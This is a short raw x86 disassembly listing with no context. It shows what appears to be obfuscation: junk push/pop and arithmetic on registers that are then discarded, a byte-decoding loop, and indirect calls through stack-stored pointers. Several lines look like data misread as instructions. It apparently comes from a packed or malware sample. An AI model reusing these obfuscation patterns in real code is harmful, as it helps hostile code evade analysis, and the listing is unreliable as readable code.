inc eax
inc esp
inc eax
xor al, byte [ebx + 0x565f04c4]
push eax
add esp, 4
add esi, 0x1150b
xor esi, 0xf235
pop esi
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x53552f
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x535612
push ecx
call 0x5355da
add byte [eax], bh
dec esp
dec esi
aaa
xor bh, byte [ecx]
aas
add esp, 4
sub ecx, 0x4f65
pop ecx
push edx
xor edx, 0x185d3
add edx, 0xe43d
sub edx, 0x132a7
or edx, 0x15cc2
pop edx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ecx
call 0x535621
add byte [edx], dh
cmp byte [esi], dh
inc esp
inc ecx
xor eax, 0xc4834848
add al, 0x59
push ebx
push ecx
add esp, 4
xor ebx, 0xf46b
and ebx, 0x106d3
jmp 0x53563b
jmp 0x535643
pop ebx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff02ff
pop ecx
pop ecx
push esp
test esi, eax
push es
in eax, dx
add eax, 0x833c3950
int1
ret